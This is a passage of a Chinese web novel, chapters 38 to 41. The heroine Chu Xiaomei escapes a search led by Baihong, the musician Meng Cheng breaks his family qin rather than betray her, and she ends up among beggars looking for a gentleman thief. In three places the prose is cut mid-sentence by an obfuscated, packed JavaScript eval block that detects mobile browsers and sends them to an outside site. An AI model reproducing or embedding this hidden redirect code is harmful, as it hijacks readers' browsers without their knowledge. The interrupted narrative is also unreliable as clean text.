夜里下了场大雨，换得她一夜好眠。褚笑眉伸着懒腰，忽听得庭中一声闷响，她急忙推门而出—— 却见郑伯摔倒在地，双眼紧闭。 “郑伯！郑伯！！”她连声疾呼。脚下步子跑得急，雨后的青砖又太滑，她也险些跌倒。 她大声呼唤着郑伯，又用手拍打他的脸，老仆仍无丝毫反应。 这个年纪的老人，摔一跤可能是会要命的，须得及时找郎中救治；但眼下江铭正在四处找她，若她贸然现身，恐怕暴露行迹。 是冒险出门求医，还是将郑伯置之不理？ 她被推入两难的抉择之中。 38. 第 38 章 人命关天，她心中的仇恨再重要，难道能比得过郑伯的性命？ 褚笑眉没有丝毫犹豫，便冲进屋内取了顶帷帽，往头上一扣。素白的纱幔自帽檐垂下，隐隐绰绰，遮住了她的容颜。 她飞奔而出，抢身拦住一名路人，迫切询问：“抱歉，请问最近的医馆在何处？” 那人听她语气焦灼，忙为她指明去路：“沿着这条街走过两个巷口，再往北走，就是济生堂了。” 她依言找了过去，带着一名郎中匆匆返回。她没敢挪动郑伯，老仆仍躺在庭中。 郎中蹲下身，为郑伯切了脉，又伸手探他气息；再扒开他的眼皮，查看瞳仁。 褚笑眉急得不行：“先生，情况怎么样？” “我先施针，看能否让老人家醒神。”郎中取出了药匣中的针包，将其展开，用银针刺入水沟、内关二穴。 针灸的效果立竿见影，只听一声痛苦的呻吟从郑伯嘴唇间逸出，而后他的眉头皱了起来，眼睛缓缓睁开。似乎是不适应这样明亮的光线，他又重新眯起了双眼；褚笑眉急忙抬手，帮他遮挡日光。 郎中松了口气，轻轻地将老仆扶至坐起，问道：“老人家，可还有哪里不适？” 郑伯神情怔怔的，迷茫地望向褚笑眉，她便将郎中的问题大声重复了一遍。 郑伯终于答道：“头疼胸闷，犯恶心。” 等老仆缓过来些许，郎中和褚笑眉一左一右搀起来他，将他送回下房，安置他躺好。 “我开些活血通窍的药，让老人家服下即可。这几日要静养，忌饮酒。”郎中称出苏合香、半夏、陈皮、茯苓等药，按分量用油纸包好。褚笑眉付了诊金，一一记下嘱托。 院中的紫藤萝又开了。 从前在褚家时，褚笑眉的浮玉轩中有一座秋千架，绳上攀缠着紫藤，每年春夏各开一回花。白虹和青简总推她荡秋千，少女的高声笑语中，藤萝花随着秋千迎风荡起，簌簌落了满身。 白虹拈起肩上的落花，花瓣润泽的触感熨帖着指尖。她蓦地一阵恍惚—— 原来花有重开之日，记忆中的那一段时光，却是再也回不来了。 “阿姊，”家仆急匆匆地来报，“有夫人的消息了。” 她眼眸一眯，骤然将指间的落花碾碎，淡紫的汁液顺着指纹晕开：“说下去。” “济生堂中有一名药童，从前在仁安堂作活，曾跟着潘郎中去褚家请过脉的，说是看见了她。” 白虹又问：“此人的说法可靠吗？” “小人向医馆的其他人打听过了，确实有一位头戴帷帽的女娘前去求医。他们描述的种种特征，皆与夫人吻合。” “可有人注意到，她出医馆后去了哪里？” “听说是往南面去了，更具体的……就不知道了。” “知道这些就够了。”白虹心神一定，微微勾起了唇角，“去将长安城的地图取来给我。” 京中鼎鼎大名的四大医馆分别是仁安堂、回春堂、杏林堂和慈心堂。而济生堂平平无奇，并无名医坐诊。褚笑眉过去求医，只有一个缘由——她离济生堂最近。 白虹的指尖在地图上移动，勾划出大致的区域：济生堂以南，有四个坊在范围之内。 她轻轻摩挲着图纸边缘，思量片刻，吩咐道：“把跟踪孟珵的人都撤回来，跟我走。” 孟珵驾着马车，缓缓行驶在昌林街上。自他从云间楼献奏出来，斜后方的那名褐衫人便跟了他一路。他佯作未觉，如常催马前行。 他既敢从江府带走褚笑眉，自然料到了这几日会有人跟踪。好在他行事谨慎，再未踏进过上庆坊那一间住宅。 路边蝉声不绝，忽听得其间夹杂着一声头白鸟的鸣叫……孟珵自小学琴，耳力极佳，敏锐地察觉到了异常。那不是鸟叫声，而是有人在模仿鸟啼。 这声鸟鸣应当是某种信号。孟珵回头看去，只见那位跟踪者停住了脚步，与另一位过路的人短暂交汇。二人交头接耳，低声说了几句话，而后一齐使出轻功，跃上檐瓦向西北方而去。 孟珵心中一紧：那正是上庆坊所在的方位！ 他调转车头，扬起马鞭，挑了条最近的道，向那座宅院疾驰而去。 “吱呀——” 柜门呻吟一声，被褚笑眉用手肘关上。这柜子的年岁比她还长，木轴早被虫蛀得酥了，开阖时像是琴艺蹩脚的人在拉二胡。 她左手抱着一坛菊花酒，食指和中指挂着云浆和绿腰春各一壶，右臂抱着清酒和琥珀浓。把屋里都翻箱倒柜地搜刮了一遍，她终于心满意足，笑道：“郑伯，郎中说了要忌酒。你安心养病，这些酒都是我的了。” 郑伯斜倚在榻上，捧着热气腾腾、苦味冲鼻的药碗，长长地叹了口气。 褚笑眉把美酒尽数搬回了自己房中，刚把酒壶、酒坛搁下，就听见庭中传来急促的脚步声。她神情一凛，摘下门闩握持在手，警惕地循声而去。 “孟先生？你怎么过来了？” 来人竟是孟珵。褚笑眉看见他，显而易见地放松了下来。 “娘子，事出紧急……”孟珵一把抓住她的手腕，拽着她进了正房，“江尚书的人找过来了。” 褚笑眉的心脏狠狠一跳。她今早刚去济生堂求了医，江铭这么快就找到了她？ 她三言两语，将此事简短地告知孟珵。 “确实有可能是因此暴露。不过我也觉得，他们的动作实在是快得出乎意料。”孟珵解下背负的琴匣搁在一旁，挪开房中的书架。 他蹲下身，撬起地砖的边缘——那块原本被书架压住的地砖，其下竟然是空的。里面黑黢黢的，只能看见一架梯子通往下方。 “娘子，快躲进去！”孟珵催促道。 褚笑眉没有丝毫犹豫，顺着梯子爬了下去。随着头顶的地砖盖上，最后一缕光亮也消失不见，四周漆黑一片。暗室太久没有通风，浓浓的霉味缭绕在她鼻尖。 她听见重物与地面摩擦的声响，应该是孟珵将书架也移回了原位。 这个入口相当隐蔽，从外面看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615934|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，根本看不出地砖下藏有的玄机。她在此处住了五六日，都丝毫没能发觉。 “仔细搜！”白虹的声音由远及近。她带来的二三十号人听到命令，各自分散开来，闯进每一间屋舍中搜寻。 孟珵正想出去，白虹已迎面拦了上来。她摘下腰间短刀，将刀鞘往孟珵身前一横：“先生留步。”六名壮汉随在她左右，当即上前，将孟珵团团围住。 孟珵顿住脚步，抬眸与她对视，并无半分惧意：“娘子私闯民宅，是要做什么？” “那日先生上门献奏，敝府丢了样宝贝，是尚书大人的心头好。大人命我一定要找回来。”白虹唇角噙着笑意，眼底却是一派森寒，“先生嫌疑最大，我只好过来找找了。” “娘子误会了，我这里并没有什么宝贝。” “是吗。”白虹冷笑出声。 家仆搜查过整座宅院，一无所获地返回禀报。 孟珵道：“娘子现下可以相信了？” 白虹使了个眼色，其中一名壮汉抓住了孟珵的胳膊，反向一拧，将他押回了正房。 白虹用刀鞘敲了敲桌上的酒坛，漫不经心地问道：“孟先生，这座宅院的主人章正川是你的好友，他早在半年前就被贬泸州了，只留下一个年迈的老仆看家。但我看这酒尚新啊——” “屋里也有人居住的痕迹。”她扫视一圈，徐徐逼近了他，“仆人难道会使用主人的房间？住在这里的人究竟是谁，先生不同我解释解释？” “既是我友人的宅子，我偶尔过来住一回，不违背《景曜律》吧？” “先生非要同我装傻，那我只好打开天窗说亮话了。”白虹轻笑着摇了摇头，短刀铮然一声出鞘，锋利的刀刃抵上孟珵的脖颈，“说，你把夫人藏在哪儿了？” “夫人？”孟珵不解道，“娘子说的可是江夫人？我那日献完奏，直接离开了江府，再未见过她……” 颈侧的短刀又贴紧了几分，孟珵微微一笑：“娘子即便杀了我，我也是一样的答案。” 白虹轻嗤道：“孟珵，你猜我为什么能找到这里来？” 短刀蹭着他脖颈轻轻划过，挑起他的下巴：“自然因为你是个蠢货。我故意让跟踪你的人暴露行迹，诱骗你情急之下赶过来——其实我原本只知道大概的方向，多亏有你为我们带路。你觉得，你说夫人不在这里，能骗过我去吗？” 孟珵眸色一暗，转瞬又恢复了笑意：“我也许不如娘子有手腕，但至少……我绝不会背叛朋友，娘子休想从我这里问出什么。要杀要剐，悉听尊便。” “有气节。”白虹归刀入鞘，拊掌赞道，“你的事，我已经查清楚了。你提前将你母亲送走了，眼下只有你孤身一人，你自然不怕死。不过嘛……” 她话音一顿，目光移向搁置在旁的琴匣：“我听说你们孟家有祖训：琴存人在，琴亡人随。当初为了留下这把琴，你的父亲一头撞死在了当铺里。 “你说，要是这把琴毁了……你对得起你父亲，对得起孟家的列祖列宗吗？” 39. 第 39 章 隔着头顶的地砖，二人的谈话传入褚笑眉耳中时，声音有些发闷，她心头不由得泛起酸涩。 这几日，孟珵为她做的够多了。他一个无依无傍的琴师，竟敢站出来同朝廷重臣对抗；在白虹的威胁之下，更是不惧生死，已经仁至义尽了。 她知晓那张琴对孟珵而言有多重要。况且此事说到底，是她和江铭之间的恩怨，本就不该将旁人牵扯进来。 褚笑眉攀上身前的木梯，已做好了出去的准备，却听得一阵琴身与琴匣碰撞的声响。 孟珵将那琴抱在怀中，这样的行为，在白虹看来不过是负隅顽抗。 “孟先生，你既不肯交出夫人，就别想留下你的琴了。”白虹抬手一挥，吩咐家仆上前，“将那琴抢过来！” 六名壮汉齐齐上前，去抢夺孟珵抱着的琴。孰料孟珵竟举起那琴，重重往地上一掼： “砰——” 琴身砸在地上，应声断成两半，巨大的嗡鸣回荡在屋宇间。在这最后的绝响中，孟珵的身姿挺拔如松，一字一句言辞铮铮：“琴是因知己而留，今当为知己而毁。” 褚笑眉被这一变故惊得怔住。 手中握着的木梯随琴鸣震颤不休，她手心发麻，心脏近乎也在跟着颤动。 “你……”白虹没料到他如此决绝，一时竟有些无措，“家传之物，你就这般砸了。你们孟家的祖训……” “我家训如何，尚且轮不到娘子来管。”孟珵直直望向她，容色坚定，毫不退让。 白虹的目光在屋内扫过，此处陈设简单：红木坐榻居中而设，左右各置客座与方几，北墙立着书架，角落放着两盆兰草。一览无余，根本不可能藏人。其他地方也都搜过了，柜中、床底、杂物堆等皆无所获。 但以孟珵的言行推测，褚笑眉应当确实藏在宅院中的某处……她究竟去了哪儿？ “阿姊，不好了！” 白虹正思量间，只见一名黑脸家仆踏进房内。他来得太过匆忙，险些被门槛绊倒：“下房那个老仆，他、他驾车跑了。” “什么？！”白虹神色一凛，“夫人在车里吗？” 黑脸家仆擦了擦额头的汗，略微有些气喘：“不知道。那个老头子挥鞭就跑，溜得飞快，小人根本没机会查看。” “一群废物！”白虹喝斥道，“连个老仆都看不住，要你们有何用？” “我们搜查时，那个老头子一直在榻上，说是生病起不了身，床头还放着空药碗，小的们这才放松了警惕。谁曾想他竟是装的！” 褚笑眉心头一颤，蓦地红了眼圈。 郑伯的病情她最清楚不过，老人家自从摔了一跤，连下床都需要搀扶。如今强撑着驾车离开，自然是为了帮她引走这伙人。 郑伯的目的达成了，她听见白虹的声音逐渐远去：“快追！” 白虹提气纵身跃起，二十余名家仆纷纷跟上。他们从檐瓦上掠过，如同成群结队的雀鸟，黑压压地朝一个方向徙去。 几个吐息间，他们的背影渐远渐小，在天边浓缩成点点墨斑。 孟珵急忙打开暗室。褚笑眉从木梯爬上来，目光移到地面时，正好看见那张摔坏的残琴。她双眼红得愈发厉害：“这琴……” “摔琴是我自己的选择，与娘子无关。”孟珵扶着她站稳，回身阖上密室的入口。 “可这毕竟是你的家传之物……” “其一，这琴是用娘子给的钱财赎回的，仔细算来，它本就应当属于娘子；其二，”他略顿了顿，望向损毁的绕梁琴，却又好似透过那琴，在看着别的什么东西，“时至今日，我仍旧认为，人比琴要紧。” 少年披麻戴孝跪在灵堂的时候，也曾怀疑是不是自己做错了。若不是他执意要押琴换钱，父亲也不会以身殉琴。 但褚家娘子予他的金钗，换来了大笔的钱财，他竟因此治好了母亲的病。 若他不曾将琴抵押，父亲不会死，可母亲会死；他如今这般做了，害得父亲身死，却意外救回了母亲。 命运竟是这般无常……好似非得逼着人从天平的两端中择出一个，却难以预测这一选择会得到什么，又会失去什么。 他想过无数次，如果能有重来一次的机会，他会怎么选。 父亲的死亡，母亲的性命，皆压在他心上。他弹琴时，总忍不住去想；他越想，琴音就越沉闷、越杂乱—— “弹成这样，还敢说是孟家的传人？” 他本就年少，尚未成名，出的岔子多了，更没有人愿意请他奏曲。 少年也不缺钱用，空闲的时间里总是在练琴，在打磨琴艺，也在叩问自己的心。 母亲不懂琴，但母亲懂儿子。母亲看出他日日苦闷，终于按捺不住，同他说：“小珵，别再想过去的事了。” “哗啦——” 手下的琴音错了一大片，他用手掌按住颤抖的琴弦，眼圈红得厉害。他哽咽着询问：“母亲，我做错了吗？” 母亲用温暖的怀抱圈住了他：“小珵，别为难自己。你那时候并不知道会发生什么。” 豁然开朗。 他总站在现下，去看过去；可过去的他，并不知晓将来的走向。 即便再来一千次、一万次，那个时候的他，仍旧会做出一模一样的选择。 没有人可以预知结局，唯有尽己所能，凭心而行，去做不会让自己后悔的事。 “娘子，若我今日不帮你，我往后念及此事，一定会悔恨终身。”孟珵抬起眼眸，那断琴在他眸中轻飘飘地掠过，像是天上的一片云。“一张琴而已，砸了便砸了。” 他始终不明白，为何孟家会有“琴存人在，琴亡人随”的祖训。 或许，这琴是某位重要的故人所赠，所以祖先分外珍惜；又或许，这只是祖宗传承琴艺的手段，防止不肖子孙贪图逸乐，卖琴换钱、坐吃山空。 可至少在他看来—— 精研勤习的琴艺、高洁坚定的琴心……哪一个不比琴本身要紧？ 即便毁了这琴，也绝不能出卖朋友。 褚笑眉腰间挂着的钱袋是他上回所予的；他今日来得匆忙，并未携多少银钱，全身上下不过五十三文，也尽数交给她。 他带着褚笑眉跑出了宅院，嘱咐道：“他们发现娘子不在车上，定会折返回来，此地不宜久留。娘子快走！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657001|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑伯那边……” “我会照应的。”孟珵道，“往后的路，就只能靠娘子自己了。” 风骤起，灌满了少女的衣裙，将那柔软的布料吹得鼓胀，像是海上远航的帆。 送行的友人停住了脚步，她独自迎着风，踏上茫茫前路。 “客官，打尖还是住店？” 一声热络的询问从大堂北侧传来。 褚笑眉穿过油亮的方桌，从几个就着汤羹啃胡饼的脚夫身边挤过，些许饼屑散落在夯土地面上，又被她的鞋底碾碎。 她行至柜台前，答道：“住店。” “常房一百文一晚，连榻十文一晚，客官要住哪一种？” “连榻是什么？” 掌柜解释道：“房中没有单独的床榻，以苇席铺地，十余人住一间。 “看客官您的模样，应是富贵人家的娘子，连榻您肯定住不惯，还是住常房的好。” 褚笑眉默算了一番，一两银子能兑一千文钱。上回孟珵将她安置到上庆坊时，给她的钱财足有十两银子。这几日不过花去些零头，余下的仍够她用上许久。 她点头应下：“就要常房吧。” “烦您将路引文牒予我看看。” “啊？”褚笑眉怔住，她哪有什么路引文牒。从前在褚家时，出行事由皆有人包办；如今她是从江府逃跑的，更不可能有身份凭证。 她咽了口唾沫，尽量让自己显得神色如常。她从钱袋中取出一粒碎银，借着衣袖的掩盖塞给对方，低声道：“我的文牒在路上丢了，您通融一下。” “好说。”掌柜笑着收下，递给她一枚钥匙，“您的房间是西六号房。” 楼梯又窄又陡，栏杆间藏有未清的积灰。褚笑眉推开了吱呀作响的房门，却见屋内陈设简陋，不过一榻一几而已。被褥已洗得发白，空气中弥漫着一股淡淡的霉味。 她开窗通风，从窗户往外看去，楼下是这间客栈的后院。向阳处晾着伙计的粗布衣，一只脏兮兮的大黄狗被铁链子拴着，懒懒地趴在菜园边。 她听见又有人上了楼，老旧的楼梯嘎吱嘎吱地响。奇怪的是，那人的脚步声只停在了楼梯口，并未踏入任何一个房间。 她从房门探出头去，恰好与那人的目光对上。看衣着打扮，对方似乎是店中的小二，与她视线相接后，此人立即将眼神移向了别处，漫不经心地四处打量。 褚笑眉疑窦顿生：现下是饭点，店中正是忙碌的时候，他不去做活，在这里作甚？而且方才那一眼，他好像是在盯着她的房间……在监视她？ 褚笑眉伸手将他招了过来：“小二哥，我也饿了，你去叫厨房给我煮碗面吧。” “好嘞！您回房稍等，做好后我直接给您送过来。” 在她的注视下，那名小二不得不下了楼。她脱了鞋，踮着足尖蹑手蹑脚地跟了下去。 却听见掌柜斥责道：“不是让你盯着那女的吗？你下来做什么？” “她说她要吃面……” “吃什么面？！”掌柜厉声打断了他。 “她没有身份路引，我已经叫阿祥去报官了。你赶紧回去盯着她，别让她跑了！” 40. 第 40 章 抢在小二之前，褚笑眉返回房间，把门关得严严实实。 脚步声上了楼梯，逐渐逼近。 她的心脏在胸腔里砰砰直跳。 咚、咚、咚。三道叩门声后，小二扬声询问：“客官，您在里面吗？” “我在。”褚笑眉竭力压抑着话音里的颤抖，“有什么事吗？” “只是想告诉您一声，您点的面我已经叫厨房去做了，您在屋中等着就好。” “有劳了。”她回应道。 没有小二离开的脚步声，他应该还守在门外。褚笑眉透过门缝往外看去，果真看到了模糊的人影。 她登时冒出了冷汗。 方才掌柜说，已经报官了。待官府的人过来，查清她的身份，只怕她又会被送回江府。 不，她绝不能被抓回去。她不能被仇人囚在牢笼之中，做一辈子的笼中雀。 她跑到窗边，望着楼下的后院——若是从此处逃跑，还有一线机会。 眼下是在二楼。褚笑眉从窗间钻出去，爬到一楼的屋檐上。 客栈大堂的挑高足有两人高，若直接从此处跳下去，恐怕会摔伤。 她手脚并用地挪到边缘，先用手肘支撑身体，将下半身悬出去，慢慢放低。 而后她抓着最外沿的檐瓦，手臂伸直，整个人都悬在空中。此时她的双足与地面，距离已近了一半。 褚笑眉自幼骑马，时有跌落的经历，知晓怎样最不容易受伤。 她松开手，落地时弯曲双腿，迅速团起身子，就势往旁一滚…… “呜——汪！！” 恶犬龇着尖利的牙齿，如同两排利刃。狗口似血盆一样，直直咬向她，腥臭的气息扑面而来。 她惊叫出声，连滚带爬地躲开。 黄狗还欲前扑，只听一声脆响，颈间的铁链瞬间被绷直，死死拽住了它。 “汪汪！汪汪汪！！” 正是那条在菜园边趴着休憩的狗。它一改此前的懒散姿态，凶恶地龇着牙，嘴边往下滴着涎水，朝褚笑眉狂吠。 狗叫声惊动了客栈的人，伙计过来查看情况，褚笑眉慌忙起身，往后门逃去。 “快来人！拦住她！” 四五个男人应声而来，追逐中，双方的距离不断拉近。 几堆柴垛码得齐齐整整，褚笑眉一把推倒，木柴骨碌骨碌地滚出去。一人不慎踩到，猛然跌了个狗吃屎；其余人为防摔跤，只得放慢了跑动的步子。 褚笑眉撞开后门，拐了个弯，冲到熙熙攘攘的主街上。追过来的伙计们将脖子抻得老长，四处扫视搜寻。而她混在人潮中，悄然离开了。 这条街通往西市，白日里拥挤得很。西市口的告示牌饱经风霜，贴着的官府文书却尚新。褚笑眉凑近去看，只见其上写着： 京畿重地，四方辐辏。近察奸宄之徒，常假流寓之名，潜踪匿影，滋扰治安。特颁新令，着即日施行： 一、凡坊市之内，行旅往来，必持州县所发过所、公验，以为身凭。无路引而浪迹者，皆属可疑。 二、诸逆旅、邸舍、客馆，遇投宿者须严核文牒。无验而匿者，主家与同罪。若举告得实，赏钱两贯。 三、百工、商肆、脚店雇佣人等，必先查其身契。雇无籍者，主家杖二十，徒一年。知情人举告，赏钱一贯，或免本年杂役。 四、诸色人等，见无引游民，可赴京兆府告发。验实者，赏如例；诬告反坐。 斯令关涉国法，各宜禀遵，勿得徇隐。 景曜十年八月初七刑部颁 京兆府承敕张榜 刑部……又是江铭。这新令正是她走后颁布的。 对于没有身凭路引的人，举告有赏，包庇同罪——难怪客栈掌柜要报官。 有这个新令在，任何一家店都不敢收容她。 江铭倒是打得一手好算盘，轻飘飘颁个政令，就能逼得她无处可去。 天空低垂下来，沉甸甸的阴云如同灰黑的山峦，严丝合缝地挤压着整座城池的脊骨。 褚笑眉抬起头，极目远望。 坊墙之上，数不清的屋檐层叠铺排，千门万户的轮廓高低起伏，错落延绵。 一滴冰凉的水珠落到她的脸上。 下雨了。 西市的人潮散去，各自奔向家中。唯有她一人怔在原地，不知该去往何处。 街对面的乞丐也收了破碗，一瘸一拐地起身离去。 ……是了！这些乞丐总有容身之所，不如跟着他走，兴许可以找到过夜的地方。 乞丐并没有走远。他拄着木棍，来到了通市桥边——这是一座横跨在永安渠上的五孔石桥，连接着长仁坊与西市。 褚笑眉跟着他走到渠边，水腥气扑面而来，蚊虻成团地撞人脸。只见乞丐用木棍挑开几丛苍耳，矮身钻进了桥洞中。 褚笑眉定睛看去，原来此处不止他一人，俨然已成了数名乞丐的临时栖所。 她也跟了过去。 桥洞内所有乞丐的目光霎时投向她。她的衣裳是孟珵置办的，虽算不上奢美，至少也干净齐整、剪裁得体，与其他人格格不入。 “姑娘似乎走错了地方。”须发花白的老丐开口道。 “您该去住客栈。”抱着小孩的妇人道。 “原本是打算住客栈的，但是我……”褚笑眉顿住。 她不敢再透露自己没有身份凭证，否则为了足足两贯的赏钱，眼前这群人说不准会把她押送官府。 她话锋一转，继续道：“我没有钱。” “姑娘看起来不像没钱。”脸上有刺青的青年道。 “我的钱被偷了。” “您一个人吗？家里人住在哪里呢？” “家人……”她抿了抿唇，嗓音发涩，“都死了。” 桥洞内一时寂静，没有人再问下去了，只能听见河渠流动时泠然的水声。 最终是褚笑眉打破了沉默，询问道：“我可以睡在这里吗？” 平躺着的中年乞丐不耐烦地翻了个身：“随你。这儿是公家的地盘，问我们干啥？” 褚笑眉在靠外的位置坐了下来，身边是一个缺了牙的老婆婆。 “我们也都没有家人了。”老婆婆握住她的手，粗粝的老茧覆在她凝脂般滑腻的手背上，“但即便没有家人，总还是要活下去的。” 收到陌生人意料之外的安慰，褚笑眉蓦地红了眼眶。她将脸转向河渠，不想被人看见她噙着泪光的眼。 她的声音轻得像是一阵风：“那……活下去的意义是什么？” “我劝你不要细想。”脸上刺青的青年道，“上回问出这个问题的兄弟，第二天就跳河了。” 这场雨没有变大，只是淅淅沥沥地落下来，河渠中泛起点点涟漪。桥洞内壁苔痕斑驳，缝隙里钻出几株倔强的狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699200|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾草，在晚风中摇着毛茸茸的穗子，给这方逼仄空间添了几分活气。 天色渐渐黑了，街上传来阵阵鼓声，惊得树上倦鸟扑棱着翅膀飞起。这是宵禁的鼓，击鼓四百下，长安城的城门就会关闭；再击鼓六百下，诸坊市门皆会落钥。 橐橐的脚步声由远及近，是巡夜的长昆卫来了。坐着、靠着的乞丐们都纷纷躺下，瑟缩着闭上双眼，唯恐被麻烦找上。 褚笑眉也侧身躺倒。她眯眼看向水面，粼粼波光里映出长昆卫的玄甲，正顺着河道逶迤而来，像条闪着寒光的铁蛇。 水边总有蚊虫肆虐，褚笑眉不胜其扰，被搅得睡不了觉。到了后半夜，实在是又困又累，终于撑不住失去了意识。 醒来时，这些可恶的蚊子已送了她一脸的包。 褚笑眉一面挠着脸，一面看着乞丐们相继从桥洞离开，奔赴各自的地盘。 她也有要做的事。 她还得从褚家的暗格里，取出那一枚家传信物。 虽然江铭并不知晓信物的事，但褚家附近，他定会重点布防。她若是现身，当即便会被抓回去。 可她若是不自己去……又能请托谁去呢？ “承运四方信，镖行万里尘！” 只听“咣”的一声铜锣清响，镖局门口的伙计扯着嗓门吆喝：“但凡托付之物，皆可往取无虞，来送有凭……” 褚笑眉登时驻足：“你们能帮忙取物？” 伙计应道：“姑娘要取何处之物？无论是西域、南疆、北漠、东海，咱们趟子手都能给您完好无损地取来。” “我要取的东西，就在长安城。” “就在长安？那您为何……”伙计顿住话头，料定其中必有缘由，躬身请道，“您不妨先进来，与镖师详谈。” 镖师听完褚笑眉的请求，连连摇头，眉毛皱成了一团：“不可，不可。” 褚笑眉道：“您连边疆都能去，近处反倒去不了？” “姑娘莫要为难我了。”镖师道，“圣上亲旨查封的宅邸，您就算问遍京城中的镖局，也没一家敢接。您还是另请高明吧。” “我可以加钱，”褚笑眉将沉甸甸的钱袋搁在桌上，“这里是九两银子。” “这……”镖师有些动摇，“姑娘在此稍候，我去问问师父吧。” 等了约莫一炷香时间，镖师终于回来了，仍朝她摇了摇头：“师父不愿冒险，姑娘请回吧。” 褚笑眉只得离开。 前庭里喧嚣吵闹，人马器物挤得满满当当。几个精赤上身的趟子手，筋肉淌满了油亮的汗水，正嘿呦嘿呦地将沉重货箱抬上大车。 “‘云中鹞’当真来京城了？”满脸络腮胡的壮实镖师问道。 中年汉子正埋着头，检查鞍具上铁扣是否牢靠，闷声道：“错不了，行内都传开了。 “听说是童侍郎府上失窃，守夜的护院、奴婢一个都没惊动。天亮一看，库房里像遭了神仙搬家，最名贵的十样珠宝，全都没了影儿！” 壮实镖师问道：“官府怎的没发捉贼告示？” 中年汉子道：“童侍郎那些东西不干净，据说是受贿来的，哪敢往上报？只能私底下请人，暗中去查。” 身形精瘦、面色黧黑的老者道：“既如此，最近接活都小心着点，可不敢再承诺万无一失了。” 褚笑眉旁听了半晌，忍不住插嘴道：“‘云中鹞’是谁？” 41. 第 41 章 “您没听过‘云中鹞’的名号？”中年汉子有些惊讶，随即又露出恍然的神情，“也对，您看起来不像江湖人。那是赫赫有名的侠盗，偷的都是不义之财……” “盗就是盗，什么侠不侠的？”老者轻嗤一声，打断了他的话。 褚笑眉又问：“我方才听你们说，宝物失窃的是童侍郎——可是户部侍郎童建柏？” “正是。”中年汉子道，“姑娘对朝堂之事似乎颇为关心？” “倒也说不上是关心。” 她父亲褚惟庸曾是吏部尚书，江铭此前做过礼部侍郎，后又任刑部尚书一职。都是六部的高官要员，她身为家眷，彼此常来常往的，自然早已熟识。 “我只是有些好奇，什么人能从侍郎府上偷走东西。行事如此嚣张，就不怕被官府抓住吗？” 中年汉子道：“这就是‘云中鹞’的厉害之处了。没人知晓他的真实身份，也没人见过他的真面目——官府也拿他没办法。” 褚笑眉忍不住想，若是能请这位侠盗出手，定能从褚宅中取得信物。她便也问出了口：“你们可知在哪里能找到‘云中鹞’？” 中年汉子摇了摇头：“姑娘，我们就是普普通通的镖师，哪里能知晓此等神秘人物的踪迹？” 褚笑眉叹息一声，老老实实地去寻下一家镖局去了。 沧浪镖局，镖头听见九两银子这个数目，眼睛一下子就亮了起来；待听完褚笑眉的请求，眼神又黯淡了下去：“这钱我们不敢挣，您还是另请高明吧。小唐，送客。” “等等！”褚笑眉连忙道，“容我再打听一件事，你们可听说过‘云中鹞’？” “听过他的传闻，都说他是劫富济贫的侠盗。”镖头面露困惑，“姑娘问他做什么？” “你们知道他在哪儿吗？” 镖头道：“姑娘说笑了。有关‘云中鹞’的故事，我们也不过是道听途说，怎会清楚他身在何处？” 褚笑眉又询问了四家镖局，果真如第一家的镖师所说，没人敢接她的单子。这样的事，恐怕当真只有“云中鹞”敢做。 但寻这位侠盗帮忙，又实在是太过异想天开。官府都抓不到的人，凭什么被她找到？ 天又快黑了，褚笑眉仍旧返回桥洞过夜。 乞丐们在谈论今日讨到了多少钱，那名脸上有刺青的青年从怀中取出一包胡饼，给众人分食。 半张胡饼递到褚笑眉面前，她摆了摆手：“多谢好意，我已吃过饭了。” 抱着小孩的妇人询问：“姑娘昨日不是说身上没钱？又是哪里来的钱吃饭？” 褚笑眉一时被噎住，磕磕绊绊地撒谎：“那个……白日里遇到了好心人……” “我今日才是真的遇到了大人物哩！”脸上刺青的青年道，“有一个手执折扇、身穿白衣的俊俏公子哥向我打探消息，给了我一粒碎银！不然我怎的有钱买这些饼？” 他此言一出，众人的目光纷纷向他投去。没人再追问褚笑眉的事，她暗自松了口气。 瘸腿的乞丐问道：“他向你打探啥了？啥消息能值这么些钱。” 青年道：“他说他是外地来的，想出售一些极贵重的珍宝，问我有什么好去处。” 瘸子道：“就这？这有啥好问的？要是来路干净，那就卖给胡商；否则就卖去黑市……” “哎，若是堂堂正正来的宝贝，哪里会卖不出去？”青年道，“他手里的肯定是赃物。” 褚笑眉神色一凛。 前脚侍郎府刚丢了宝物，后脚就有人打探去哪里可以销赃。莫非……此人正是那位“云中鹞”？ 即便不是，贼都是要销赃的。沿着这条线查下去，兴许也可以找到他。 她插嘴问道：“既是赃物，那想必就是要卖到黑市了？” 